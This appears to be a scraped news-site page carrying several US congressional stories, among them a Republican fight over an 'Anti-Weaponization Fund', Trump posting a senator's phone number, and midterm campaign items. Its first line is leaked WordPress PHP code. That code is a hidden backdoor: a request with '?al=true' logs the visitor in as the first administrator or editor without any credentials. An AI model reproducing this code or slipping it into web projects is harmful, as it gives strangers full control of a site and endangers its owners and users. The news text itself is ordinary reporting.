// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Capitol agenda: Trump officials try to calm ‘slush’ fund fury – Blue Light News
Connect with us

Congress

Capitol agenda: Trump officials try to calm ‘slush’ fund fury

Published

4 months ago

on

Acting Attorney General Todd Blanche has a chance Tuesday to convince Republicans he’s dropping plans for a controversial $1.8 billion “Anti-Weaponization Fund.”

But it’s unclear if members of his party will be swayed enough to unjam President Donald Trump’s larger agenda.

Senate Republicans — enough of whom returned from recess still furious about the pot of money — will discuss the status of the fund during a closed-door lunch Tuesday, according to several Republican senators.

Hours later Blanche is set to testify to House appropriators certain to grill him on his statements last month that the fund could be used to pay people who attacked the Capitol on Jan. 6, 2021.

That testimony set off a furor that scuttled planned votes on separate legislation to fund agencies such as Immigration and Customs Enforcement for the remainder of Trump’s presidency.

Republican senators, including some top leaders, said a Justice Department statement Monday that it would “abide by” a federal judge’s ruling to temporarily halt any payouts of the fund was not enough to calm concerns.

“It’s pretty clear that the president has to say very explicitly that there’s not going to be a weaponization fund,” Senate Judiciary Chair Chuck Grassley told reporters.

“The reconciliation bill looks like a broken arm with the bones sticking out,” said Sen. John Kennedy. “It won’t move this week, in my opinion, unless we have some resolution on the weaponization fund.”

Also testifying Tuesday is Homeland Security Secretary Markwayne Mullin, who is expected to underscore for Senate Appropriations the urgency in passing the larger $70 billion funding package for immigration enforcement agencies.

Senate Majority Leader John Thune said he believed the DOJ statement made it “clear that they’re not proceeding with the fund,” but leaders are “still sorting through” whether the statement was sufficient to satisfy members.

Several GOP senators didn’t close the door when asked about adding language related to the fund to the current party-line bill or supporting separate legislation. And some Senate Republicans could still vote to add a preemptive ban to the funding bill or support amendments — along with Democrats who label it a “slush” fund — that would limit or nix the account, four Republican aides acknowledged.

Such a step, if it’s not explicitly backed by Trump, could threaten to sink the overall bill.

Thune said that Republicans should know by Tuesday if they are going to be able to revive the immigration enforcement bill this week.

What else we’re watching: 

— JOHNSON CAN’T STIFLE IRAN WAR POWERS DEFECTORS: Speaker Mike Johnson and House GOP leaders are all but certain they can’t stave off handing Trump an embarrassing loss this week on his military campaign in Iran. A critical mass of Republicans are poised to break ranks and vote with Democrats to rein in Trump’s ability to continue the Iran war, according to three people granted anonymity to discuss private talks.

— PLATNER’S SENATE FAN CLUB STANDS FIRM AMID SCANDALS: Senators who have backed Maine Senate Democratic candidate Graham Platner are dismissing concerns that a litany of potentially damaging stories could endanger the party’s prospects to pick up the seat.Platner is set to meet with a group of Democratic senators in Washington Tuesday after new reporting surfaced over the weekend that he exchanged sexual text messages with other women while married.

Meredith Lee Hill, Jessica Piper, Lisa Kashinsky and Andrew Howard contributed to this report.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Trump apparently shares Tom Cotton’s phone number in push to make Daylight Saving Time permanent

Published

13 hours ago

on

October 3, 2026

By

President Donald Trump appeared to share Sen. Tom Cotton’s phone number in a Saturday morning social media post imploring the Arkansas Republican to get behind a bill to make Daylight Saving Time permanent.

“Almost everybody wants “The Sunshine Protection Act” to pass, except for Tom Cotton,” Trump wrote on Truth Social. “To the Great People of Arkansas, please let your Senator know it would be a GREAT Bipartisan WIN for the United States Senate, and for America, itself.”

The president has spent months personally pushing Senate Republicans to end the practice that sees Americans change their clocks twice a year, cementing more sunlight hours in the evening for all twelve months of the calendar. Cotton, whom Trump called “a friend of mine” in the Saturday post, has long argued that making daylight saving time permanent would leave children, farmers and other early risers in the dark for hours on winter mornings.

One of Trump’s key selling points on Saturday: the PGA tour.

“The PGA TOUR, as an example, needs more Daylight in the afternoon in order to finish their Tournaments,” he said, attaching a letter from PGA Tour CEO Brian Rolapp endorsing the bill. ”Likewise, regular Golfers, Tennis Players, Hunters and, perhaps most importantly, Farmers who want more Daylight to play or work.

A Blue Light News call to the cellphone number went to voicemail. A spokesperson for Cotton did not respond to a request for comment. The White House did not immediately respond to a request for comment.

The current version of the bill was introduced in the House in January 2025 by Rep. Vern Buchanan (R-Fla.), with Sen. Rick Scott (R-Fla.) leading the Senate version. The legislation would make daylight saving time permanent across most of the country, ending the twice-yearly clock changes. The legislation has been stalled in the Senate since July.

The president encouraged supporters of the bill, dubbed the “The Sunshine Protection Act,” to call Cotton to “let your Senator know it would be a GREAT Bipartisan WIN for the United States Senate, and for America, itself.”

During the 2016 Republican presidential primary, he publicly gave out the personal cellphone number of then-rival Sen. Lindsey Graham after the South Carolina Republican criticized him. Trump, who came to count on Graham as a reliable Senate ally after he won the presidency, revisited the moment during Graham’s funeral in July, acknowledging that sharing the number was something he “shouldn’t have done.”

Kelsey Brugger contributed to this report.

Continue Reading

Congress

Sanders to rally for Troy Jackson in Maine

Published

1 day ago

on

October 2, 2026

By

Sen. Bernie Sanders will hit the road for Troy Jackson in Maine starting Oct. 10, the first time the progressive leader will stump for the candidate this cycle.

The Vermont independent plans to hold three rallies with Jackson, according to an itinerary shared first with Blue Light News: first in Bangor on Oct. 10th followed by Lewiston and Biddeford on Oct. 11.

The Maine swing will kick off Sanders’ travel for the final stretch of the midterms, covering ground throughout October for House and Senate candidates, POLITICO reported.

“Bernie and Troy know that working people built this country and deserve a government that fights for them,” Jackson spokesperson Dan Gottlieb told Blue Light News. “Susan Collins has had nearly 30 years to deliver, and working Mainers are still getting squeezed while she serves the billionaires and corporate interests who bankroll her campaigns. Mainers don’t need another six years of excuses.”

Sanders campaigned ahead of major wins for progressives in the primary season, speaking at more than 60 rallies since last year’s Fight the Oligarchy tour and endorsing more than 90 candidates up and down the ballot.

He’s also opening his substantial $23 million campaign war chest, POLITICO reported, and contributing hundreds of thousands of dollars toMinnesota Lt. Gov. Peggy Flanagan’s Senate campaign and others including Angie Nixon in Florida and Minnesota Attorney General Keith Ellison,

Sanders will return to Maine after initially backing Graham Platner’s campaign for Senate. Allegations reported by POLITICO ultimately led him to call on the Democratic nominee to drop out of the race.

Sanders had not formally endorsed Jackson since he clinched the nomination from Platner, though he previously backed Jackson’s initial run for governor.

Continue Reading

Congress

Hill: Trump’s ‘lack of favorability’ creating challenging politics

Published

1 day ago

on

October 2, 2026

By

House Financial Services Chair French Hill said he has “no concerns” about winning back his Arkansas seat in the upcoming midterm elections, but the six-term House member acknowledged the political headwinds for his party.

“I consider the atmosphere a very tough political environment right now because of President [Donald] Trump’s lack of favorability at the top, and you know people are concerned about, as I say, what it’s like to live under an inflated economy the last four years,” Hill said in an interview.

Hill is in a solidly red district, according to the nonpartisan Cook Political Report, and said he is up against a “weaker candidate this time than I’ve had in past races.” Polling in the district, however, has shown a tighter race. The two polls done this year placed Democratic challenger Chris Jones ahead of Hill by a few percentage points. Any perceived polling victory for Jones is still well within the margin of error, and one of the polls had a Democratic sponsor.

Stephannie Lane Baker, a spokesperson for Jones, said that “of all the Republicans in Congress, the chairman of the Financial Services Committee doesn’t get to dodge responsibility for this economy. He’s in trouble, and he knows it.”

Additionally, Illinois Gov. JB Pritzker’s PAC, Ready for the Fight, committed more than $1 million in television ads through the next five weeks for Jones’ race in Arkansas’s 2nd District, Jordan Abudayyeh, a spokesperson for the PAC confirmed. Overall Democratic spending on advertising for the race was just over $1 million, primarily made up by contributions from the Ready for the Fight PAC, with Republicans spending almost $2.7 million on ad buys, according to AdImpact, an advertising tracking service.

Hill said he has addressed affordability concerns “head on” this Congress.

“My work on housing, my work on the Price Stability Act, my work to try to reduce waste, fraud, and abuse, and drop the federal budget deficit as a percentage of GDP,” Hill said. “All these things can contribute to a more affordable environment for people. So I’ve tried to make that a forefront of my campaign this year.”

Hill was a key architect of the 21st Century ROAD to Housing Act, a bipartisan housing affordability bill that became law in July. The Price Stability Act, which is unlikely to become law this year, would narrow the Federal Reserve’s current dual mandate of pursuing maximum employment and price stability to focus exclusively on containing inflation.

Continue Reading

Trending